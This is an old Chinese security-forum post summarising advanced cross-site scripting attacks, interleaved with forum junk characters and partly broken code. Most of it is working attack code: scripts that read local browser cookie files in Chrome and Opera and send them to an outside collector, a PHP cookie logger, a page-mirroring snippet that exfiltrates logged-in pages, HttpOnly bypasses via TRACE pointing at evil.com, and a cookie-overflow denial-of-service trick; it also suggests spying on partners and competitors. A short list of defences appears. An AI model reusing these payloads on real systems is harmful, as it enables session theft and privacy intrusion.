XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
. B) M: k! e8 {* I& L! \本帖最后由 racle 于 2009-5-30 09:19 编辑
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4 t' y7 D% _( Z0 w; l$ [6 G1 hXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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http://bbs.tian6.com/thread-12711-1-1.html
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-------------------------------------------前言---------------------------------------------------------, x, m! U# a6 R' S& S
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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& ` W4 \# N/ W6 o6 Z( {# J如果你还未具备基础XSS知识,以下几个文章建议拜读:
# s# e: X9 \6 D; J) bhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
- m7 K3 ?8 T ahttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
' |: K2 C6 o5 Z+ uhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过) ~1 i4 p" v' u! F
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF. \; T* f, t: G
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
9 F( R0 S7 ]0 a4 H8 m- ]http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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6 E9 |$ Q5 w3 l" t, v4 A2 `如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.3 K9 ~0 Q) F+ f8 U/ {3 a/ e
6 t8 {0 W: h4 K d) H希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
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# R4 }1 }8 R. g6 A, F: b8 y如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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5 ?$ g, k C& |/ S, mBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
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QQ ZONE,校内网XSS 感染过万QQ ZONE.
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2 r; c0 n- u, B; f& Z" v2 X' dOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪6 _& C3 r: Z2 c. w8 h
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复制代码------------------------------------------介绍-------------------------------------------------------------
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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% V* J! }6 W0 k [$ o跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.* V& H4 y# p4 f" F2 M% T( \: y
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
& Q9 I7 _- o) n" J2 _+ l复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.) a+ X C4 K `# d3 _
我们在这里重点探讨以下几个问题:
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6 z1 @/ h: E9 b2 t+ Y* y1 通过XSS,我们能实现什么?6 n! r0 ]: f/ J
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?; n8 ~0 V1 ^0 b9 r* l# e$ C+ P `0 p
7 B$ E+ r; ^2 ]+ I3 XSS的高级利用和高级综合型XSS蠕虫的可行性?% Y+ ]. ~0 l* m9 C( n" q
, F5 W2 W+ Y1 C. I4 XSS漏洞在输出和输入两个方面怎么才能避免.
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9 P. K" q1 U x3 Z) D------------------------------------------研究正题----------------------------------------------------------
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.) P% b! d6 c% O; W' V
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
. d7 f; W6 l; A8 F& N复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
- v9 h6 V: ?. i& X4 E# L1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
4 _- y# }' C7 C+ l2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
% ?, ]8 @2 E0 ?4 \- R3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
6 D2 Z; ~/ i2 [0 [9 a5 u( R4:Http-only可以采用作为COOKIES保护方式之一.( c! t- d& q' Z; B+ z' U- |' |
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(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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+ l" p; B1 g1 N2 c0 ] u6 |( l/ H我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
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1 ?9 t9 W. x# r3 n 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.- i% q) h$ f& t$ q1 n
复制代码IE6使用ajax读取本地文件 <script>
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function ajax_obj(){
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var request = false;
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if(window.XMLHttpRequest) {' t; ^) A4 q& c
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request = new XMLHttpRequest();+ b! w- o. J. G* _& @* G( F6 ^! D! J
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',4 h( V# A b1 t$ b2 E; Y
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}
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}
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}
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");9 S! Z+ w$ P7 y+ N7 f4 O2 ^" E
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_x.send(argv);" q6 r; ]4 T' ~, p* ?2 e$ d
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return _x.responseText;
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}
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var txt=_7or3("GET","file://localhost/C:/11.txt",null);
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alert(txt);
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复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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function ajax_obj(){
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if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];% b" J) s9 {: F
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for(var i=0; i<versions.length; i++) {
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request = new ActiveXObject(versions);
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}
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function _7or3(_m,action,argv){$ D& ^: q( J0 b# g6 r# I
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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return _x.responseText;5 d+ K u& P) S
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</script>
$ v# H: F% R8 H* G. v' b" ^复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”! }# \" S1 U- i- I; m i+ V
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5 i' O( d o" t. \, dChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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/* $ i4 a) ?8 U& ^/ K
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Chrome 1.0.154.53 use ajax read local txt file and upload exp
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author voidloafer@gmail.com 2009-4-22 # n6 ^/ O5 ]; [7 k- j
5 ^- ^1 F7 ~6 X: i0 h- q http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. % l6 X# ^1 r2 U _6 m5 z: [
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9 p7 k3 X% Y2 t/ v' |- jheader("Content-Disposition: attachment;filename=kxlzx.htm");
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header("Content-type: application/kxlzx");
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/*
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set header, so just download html file,and open it at local. # r5 O6 [1 |" _. Z
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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<script> # q1 V. p! Z/ [- v4 m# C
! s* Q0 i* H" l: k9 ]2 h" m7 k2 xfunction doMyAjax(user)
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var time = Math.random();
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/*
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: V1 Y: @! v6 l! [$ uthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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$ L& ^5 ]! v! @1 \" K* Z: r' Oand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History ; R% @4 H+ ~, N5 Z! W
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var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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startRequest(strPer);
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9 K. x) W+ \) g}
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4 s6 |+ u; x0 v8 [# L$ D! d' yfunction Enshellcode(txt)
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var url=new String(txt);
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var i=0,l=0,k=0,curl="";
4 Y/ x/ k+ _' I. ]
' s7 s" j: g3 w( ]. x1 Cl= url.length; ( `9 U; I. w: ]0 S
9 R. r7 y0 a' yfor(;i<l;i++){
. C C" g7 A$ [/ l. F y0 K
3 s* V: L) y/ ?: T5 _k=url.charCodeAt(i); * _" P3 v& v) p, g+ n1 e
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if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
# B7 ^8 b/ M' s# r4 s5 Q q; r
0 E" a0 L7 G5 pif (l%2){curl+="00";}else{curl+="0000";}
" L% |+ [! d7 O5 q6 x! P8 N X: k4 F# Z/ l& \
curl=curl.replace(/(..)(..)/g,"%u$2$1"); 0 H4 B- M2 X% r# [
4 r, I3 |' i3 z- G
return curl; 2 {; r8 R+ u* F
# J& A% u& j* @ I, ~; F" b B}
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* F; H. u- b2 F
1 D, I1 `: b* D, V
3 `" L+ H& H) I, J
var xmlHttp; , n0 J H2 s, |! p3 \6 B
) g( H! [! X2 \" }( l f' N9 ?function createXMLHttp(){ 7 X: c+ |3 \5 k# @
7 \, O) V! L5 i6 E4 B9 J: m9 @
if(window.XMLHttpRequest){
% g$ s6 W6 |% U* o, q8 d. ~% _4 Z/ }7 P3 ~$ k2 }0 X" y, x
xmlHttp = new XMLHttpRequest();
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} 7 W* |) Z- p6 f; ]
8 `. ^" ^; G# y$ {, T
else if(window.ActiveXObject){
9 u I# L4 h0 \1 S+ P
! S4 Q7 q" R/ [) {' T* v1 r4 DxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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} 2 ^0 U) h# [3 W5 T) a6 V
& S3 I7 k0 ^+ w$ `1 [
} & {/ r: m# i. u( V3 b+ ]) g1 q
+ B! q3 ~9 Q7 g+ t0 w5 t8 w
6 s& e8 C8 E$ R5 Y$ ]6 Y9 T
* q# @$ e k8 ~7 \/ ?function startRequest(doUrl){
3 e. u, S/ Q: \# J" m$ p Q: M- P! v" x) o7 t* l- J
5 N+ Z# s- r- k7 ?8 k u
9 u p l) A; f createXMLHttp(); " t% q {* B' ?" t2 H+ l" s" s/ i
+ e( [& B( \1 G3 L+ m' n2 L
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$ J( p* O* m( ]/ @( y. C xmlHttp.onreadystatechange = handleStateChange; : d1 b* h- b: P9 W6 d% \
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xmlHttp.open("GET", doUrl, true);
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5 X8 Z1 m$ H- h, n3 p9 n, n
. b& m5 N; c2 o xmlHttp.send(null);
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# V% |7 g- ]! N! K% M1 ^. w
8 f7 f% K) S5 N; O
# d$ d0 L9 T, \5 ?" Q- z6 u& O' d8 b}
; \2 k' d( D% v c" s# {6 a. M7 q1 E
& N) `0 z2 M8 f' G$ x
5 W- B& `! P: d" B; U# U5 Rfunction handleStateChange(){
" E& u; G! _8 \. P3 d; P* g) L/ m+ i7 g* [$ Q
if (xmlHttp.readyState == 4 ){ 8 v6 e/ M$ X5 ^; C Z9 a) {) N
; b6 w9 R8 [# U8 W3 O& `0 d! a var strResponse = ""; ! Z& M" M' l I- C; g8 ~/ Y
+ n( j+ L4 ]4 A& Z, h
setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); 1 p9 v+ r1 k: z5 W0 z
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- H( F4 ^1 C2 ~; f}
2 s" m1 ^$ J* f/ M" T; `% a& Q( K6 H2 V, K( @1 r2 M
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) d. Q3 r: V7 r8 ~9 D3 i
% }, c- c: }* }- b' ^1 ~' f% |function framekxlzxPost(text)
+ A/ b. Z8 O9 n" J8 O/ y% }3 c
{
/ q8 p1 L( {; w5 l# w4 ^ S* Q4 U- ?9 R8 X6 T4 u0 b
document.getElementById("input").value = Enshellcode(text);
+ L: L0 ?5 M; N8 f* P+ W8 R& p: {4 S- b. @1 C5 [5 y* l" k
document.getElementById("form").submit();
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} $ ^/ v7 d9 |+ U C* O* \4 L
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doMyAjax("administrator");
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4 Q1 r3 y4 f: ^ q N$ X. f1 M. Q5 l1 }
</script>
1 G+ N- q! T1 Z( M复制代码opera 9.52使用ajax读取本地COOKIES文件<script> 5 S) M- P8 w, w6 f5 l1 Q1 Q: i# r3 I
E9 E% @- C* g; f0 t' x& hvar xmlHttp; 2 V0 d7 H$ ~4 M) D9 ^- `- o
. L+ k- R. \0 s- ^; M5 Pfunction createXMLHttp(){ 5 Q# P: E( B; T) _( u4 B5 N
/ {- a4 a6 s/ c' G o7 N
if(window.XMLHttpRequest){
9 H3 X, O# {, [& [5 n+ C$ V! i, P) [2 [) |
xmlHttp = new XMLHttpRequest(); 3 u a6 D z0 j5 @* E; c
/ Y2 \4 Y& N. h I* |% Z" H6 [ }
4 }8 E! F8 t' b6 c
$ O: w0 d9 {, M5 a; [8 c$ b else if(window.ActiveXObject){
/ r9 V+ ~2 E* u' B# ^+ Y2 }4 G( ~+ e% X w
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); * b/ M6 e& \8 _: f; M
% [. U$ t, w, k0 O# @9 s } 9 ]% y2 k6 g5 Q. o; ? b, c+ Y0 x
) `7 D3 h5 G, y8 E/ u- x" c. u. P
} 9 s# a5 z* F2 k, a4 f7 t; Y
0 {' _3 @8 C( j4 F- G7 w) T7 G
7 ?1 a; v% J% t: C$ Z2 Q: O% B7 ?3 }5 h! [6 x7 o0 R8 S* J
function startRequest(doUrl){
4 y: c% A3 n! ?7 S5 A8 z8 p: O: J& H& h
& `/ {8 n9 X, R2 d
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createXMLHttp();
2 {4 M4 F$ `3 B) v* F
: d% _% ^% b# S( T, O) X 2 b0 u; |4 O) H% n7 z/ U
8 O# p; S$ b G xmlHttp.onreadystatechange = handleStateChange;
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- r# ?( h$ @, t& ? xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null); " [! s8 e+ X. |$ q* Y3 g$ l/ E
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: u a, W& e/ M+ M8 K0 ~7 I
- [( @' W3 Q8 Q( X! N- b/ B! e8 M/ x- L$ Y7 x
}
9 v, o6 l% _; F% i" B7 `7 K% e$ U7 O+ h% R) W
# M' j5 f# ~9 l7 [% i* U
1 m, }* w4 N2 \3 s
function handleStateChange(){ / D4 O" V, I& j. r0 |
& l) _& s/ |* v if (xmlHttp.readyState == 4 ){ , M6 X7 Z0 [8 F& B1 |
0 W" i3 b$ n; f* b T, p+ d9 f var strResponse = ""; $ e2 x# S& [6 s) N4 Z# I4 G* o+ S* z
1 C2 ]$ ~2 f6 Q8 E setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); 5 F/ t- {7 Y4 w( f% \, P8 H
6 F* i% A$ O" F7 O
9 x V# w- U: R7 \$ D
& M/ {$ i: u" M/ N1 j! a }
. ]4 u U! f4 L8 r- o- B% D1 }1 {! b
0 Z' p' c/ e% G$ c}
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7 Y: s" J4 c# o- f# V5 y {
1 N- v y4 a" I. b/ S) M! S; [( rfunction doMyAjax(user,file)
9 L+ n9 I1 D- D' }7 `
1 G+ H5 N9 ~+ L8 k{ . m6 k' C* v% J
9 r! l6 L7 J. _8 o8 a
var time = Math.random(); ) ~- D0 G( F8 _% U3 P7 |5 s; }
2 p/ s, c3 D- y. }
# j. }' S: l p+ u! \0 E2 o, A- u7 p4 t4 d; m* x! S! _
var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
% _ {6 W9 J- p- b
1 q- y! l" P2 E1 l1 ^. a
7 k4 D" ?# O; z' a
+ I6 G4 d6 `, E5 c startRequest(strPer);
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0 p) |! M6 c6 m* P
, [$ _% t+ P8 s- A}
' f( a/ Y! J! w% l! ~- u6 ~9 M2 W0 _( v1 q6 e. ?& i! ~
& v% m8 X7 y4 T; a, R4 Z- O* J! _' G0 s
function framekxlzxPost(text)
4 \5 i; m( G4 d+ c# z. x+ }! F2 e: h8 ?
{ 9 e$ W( X; E( X6 X2 z5 N* r
G. S+ E* @* q9 r# O" z9 \4 ?1 y" ~1 _) h document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); . K9 N0 T/ N5 ^
5 P9 X( q& v* a; k( ? alert(/ok/); % y" g* q% E* B' Z' J
8 {- l) h6 V1 X9 t+ o
} " Z. N/ G) i. Z
3 d1 X7 j- r7 Q ~9 T* l: e, i3 A4 W
4 v. B6 M1 x; O4 t: X& E: w0 U
8 T: }; `8 S! x v! O4 ?8 EdoMyAjax('administrator','administrator@alibaba[1].txt');
6 L' E/ [) Z+ j0 X x& U: G- v% {( s0 S
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+ x7 g. Q" {( P0 A9 U: ?. `2 Z$ Y R! A3 c- z0 c, h
</script>
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5 A, C9 X7 y T+ s+ _+ ]. a/ S
2 ~* F* c( E3 v0 `5 l4 T, O( J& Z, d8 O4 q+ l; J2 P) |" k4 _( x
8 n4 \% t/ H& t! F! Q! N0 b/ ya.php
/ t, A) T- p" }; k
3 O% Q8 F) y. H K; y1 y% s6 X+ k/ x3 S3 D+ B5 ?' C
! q# o9 |3 w% H7 p" b" i f, C3 p<?php : C8 W' X( N. ^( G d( b
$ |: x) V; U9 X$ F/ A( h- n: U; S$ v
$ V2 i1 ~9 {* C' Y% ?. C& I4 M' O3 |7 e* Z3 C
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
$ g/ I! `2 V8 \$ ^
: C7 O t$ B: I! h5 h3 i$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; $ U( Y% T, J$ b. x$ s
" q. S) Z& f6 {* L" h ( Q. b* ~$ u: W! T+ H2 d
5 F4 w# O: v3 K6 ?1 L: K! ]$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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fwrite($fp,$_GET["cookie"]);
; B s6 u j% M+ `# ~
$ Y: \6 T5 g& x: ^3 }: \fclose($fp); $ ^0 x7 `: Y, v! U* k; ^! e$ j4 N9 `
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复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:+ d; {0 ^8 K( B
! s8 A2 J" G, ?: S3 t- I: q1 ~或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
" d. d* @6 c8 j& ~$ @利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.9 a7 o9 V/ d3 q* w+ ~: ?& }% w1 K
, p/ k7 b+ X9 [4 c9 k7 g代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
9 z- B! T1 k" Q- r+ p$ X# F9 e h5 v" v
8 m5 W5 L G$ |, R7 s) y//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
8 b# x/ ^* X$ s/ w7 ~
2 o9 N0 P( X2 t% Q//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
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$ _. b! ?+ K0 X) vfunction getURL(s) {" {. R0 d' U9 X8 L$ T- n) o Y
$ N' F5 `4 q1 t$ M" q3 {var image = new Image();
9 I2 g0 o; O& b/ Q8 V* I3 R; A3 D0 R3 B4 C( p
image.style.width = 0;2 Z+ F7 Z* f2 t, ^% }3 D3 L6 k
7 S" S) p2 f9 m4 A6 t4 F
image.style.height = 0;
5 j: [9 p8 j# D* ?4 o0 ]* [. @6 L% V1 F* S
image.src = s;
3 \6 G6 j5 p4 Y
$ B |2 N4 V' Y T9 U! p}
: X: x% Y3 Q$ z/ m! W$ }& h- H- K0 x6 |) Y
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
6 a$ X9 ?4 |* F3 @复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
: m3 _" X7 N% e1 m. N这里引用大风的一段简单代码:<script language="javascript">+ o: y: @" O7 ?2 o4 s9 b* y5 M
8 X" s+ b7 R5 x( X
var metastr = "AAAAAAAAAA"; // 10 A
6 K2 k7 L& C! K0 F
3 Z7 F! H/ \7 Z+ C/ _- }0 ]var str = "";
4 n. `3 L0 _. L% X! ]4 u: }9 ~6 u6 o7 b# S7 x
while (str.length < 4000){# E, F1 _" I# V4 e, B
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str += metastr;
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}
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a! y* w2 F+ i8 K5 q) i! V! \document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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4 I7 v7 {# \' Y* c! _0 U$ w</script>% Y& X) i1 l8 c6 V
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
" j- p- D4 m& N' E3 H* _复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思." O7 p4 m4 n% p5 S" j5 g
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150+ o" `' ? w; { E {; P8 X2 O
; ]/ e( k7 Z0 b; A假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
5 n$ g: y* c+ W/ Y8 G+ M攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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( G" D; {" Z5 Y. ^ l(III) Http only bypass 与 补救对策:
4 v& V5 R. J! ` Q7 b$ y5 `3 Q8 `9 m* b3 L x7 N1 A5 v
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
9 d! i1 Z9 E- f& V7 J$ t以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">! W, ^' s$ K1 z$ Z9 a
, S0 |- }% h/ @/ w( y' y
<!--
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0 }8 C6 a9 w7 y0 r0 ^function normalCookie() {
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* M- Z$ P9 u- C5 u+ S% wdocument.cookie = "TheCookieName=CookieValue_httpOnly"; ( x5 i' Z2 o5 d& _+ @ ~" g
~' c6 I0 f3 o4 V1 h2 Nalert(document.cookie);
9 A' H1 i2 a8 |% z) }
* i9 q% X7 z+ V4 ~}2 ]. a" _" }! X# Z5 u3 a, `# y
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2 Y5 Q" ]. X y" J! t
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+ {% A6 l+ r8 {; ] @function httpOnlyCookie() { # l/ B2 M2 i8 S( ~& z
b3 _1 x( u4 L7 Odocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
F5 a, {# Q, m" C7 x% ?2 l3 o* ^0 u6 Z$ ?
alert(document.cookie);}
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7 Q" v$ {9 V ~7 I2 c( t/ {
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//--># y' |8 j: z# ~) Q' M
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</script>( l7 i7 S# x ^2 ?/ \
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4 a" ^1 D+ n& ]* \5 V4 j
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
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n8 D9 e4 A& {( q! f5 G9 b<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM># c- }! B1 ]; F# e6 E
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>7 |; G% e" W8 c* X7 o) h) N. o6 h
K- g! a1 g5 _/ M4 K* s2 D. f
! D/ m, q1 \ X& _& I% {% {3 H1 g$ C9 ^# Z
var request = false;" p( \. ]7 r4 n, K
1 A9 ^* r6 ?: v
if(window.XMLHttpRequest) {
$ P" S6 Y5 e+ i# v5 m0 R& M9 J% ^: P
request = new XMLHttpRequest();' K. m! {- K i' t9 f5 U$ r' t
+ @3 J; ]7 X' g
if(request.overrideMimeType) {
* `4 b" v7 U5 X: V$ o( J3 B1 l* W
. f3 N6 R3 |$ a! J% _. M! f) U3 x request.overrideMimeType('text/xml');
" M2 ?. U' ^' p0 t# M1 P& n0 Y; F* j3 q% J2 X3 r
}' s1 w+ m) D: K* z
. J2 n$ s7 o' F* p4 L$ t } else if(window.ActiveXObject) {
. o, u0 S+ o0 S
' W7 M3 Y" r& x var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];* j) {! P& g7 ^2 N' D1 q
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for(var i=0; i<versions.length; i++) {
. ~# a" c, X; Z
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/ k! U; E* f1 x" l& D
request = new ActiveXObject(versions);
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} catch(e) {}
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0 o* M. o6 V) J% n W7 AxmlHttp=request;
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xmlHttp.open("TRACE","http://www.vul.com",false);! S- T# h1 F( @! r
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xmlHttp.send(null);5 t5 p7 k! ]- J
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xmlDoc=xmlHttp.responseText;8 |( I# ~3 X+ q, j+ z* G" f
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alert(xmlDoc);
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% g: `+ \6 h; T& z; i1 ?% Z9 S8 |$ A" K! U/ f</script>, i+ _; X- @% p) t: J- r% F5 b$ I
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>; W) B$ h0 S$ y4 y% k
2 s. m* o. z7 avar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);6 v; o6 U) ?* l9 ]5 y" X; Q
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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) l5 g- S, o3 d9 |, m) a t0 A4 QXmlHttp.send(null);# M( G$ V7 z/ E' t
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var resource=xmlHttp.responseText& _# T; {$ V+ J; O9 X
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resource.search(/cookies/);% `) ~6 F( D' ?3 ?! M& e/ b% Q7 s% ?
' H& H0 w# E3 B5 q- @......................
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</script>4 L [3 q& |: T" k! ]# s
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5 N7 A: ]' |- ^( S6 ^* r5 N
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
* }, H. f$ t e* q) \; N
" O1 m0 j# e6 o$ ^' Q) u. d[code]9 A b% a; N; m6 n8 ?# v9 ^
, U( n4 X1 U; @1 b) c) M+ HRewriteEngine On
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2 ?" ]7 n' O, d7 j5 ~; E+ l- E2 Z; kRewriteCond %{REQUEST_METHOD} ^TRACE
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RewriteRule .* - [F]7 M. o5 r0 a- A3 i/ K: Q
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Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
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acl TRACE method TRACE
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...
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http_access deny TRACE
' v- N% A* j1 r复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");; }, I$ U% H' H* F( N, ^3 _
! C/ R9 k* |4 l, k, g3 t8 R# |; dXmlHttp.open("GET","http://www.google.com",false);. e% N/ n( a" @1 c; Z4 t- j
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");* B/ M. A, [' N# ]- O% u
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XmlHttp.send(null); f- C1 w5 J( ^+ r! x7 x- Y1 j0 ?% |
1 M6 ]( _. p1 p1 D0 ~# u</script>
& |2 p }% Q% M复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>, f4 ?' [; J3 U# E3 t
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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. ^9 g$ N" J" z: e) U5 d' yXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);3 W; l% R' b2 k2 I( L& S
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XmlHttp.send(null);
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<script>
! _! y- {1 x, |6 w复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
5 s% Y9 Q U+ p% d复制代码案例:Twitter 蠕蟲五度發威' }, i" I, j8 q4 s( S6 F. y
第一版:+ {8 ~7 C) C- |! ]) l- T
下载 (5.1 KB)- h4 Z' _, g/ Y- u8 C" v1 \, N
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6 天前 08:277 c+ f' h- f$ U; n/ Y% I* k! `# y
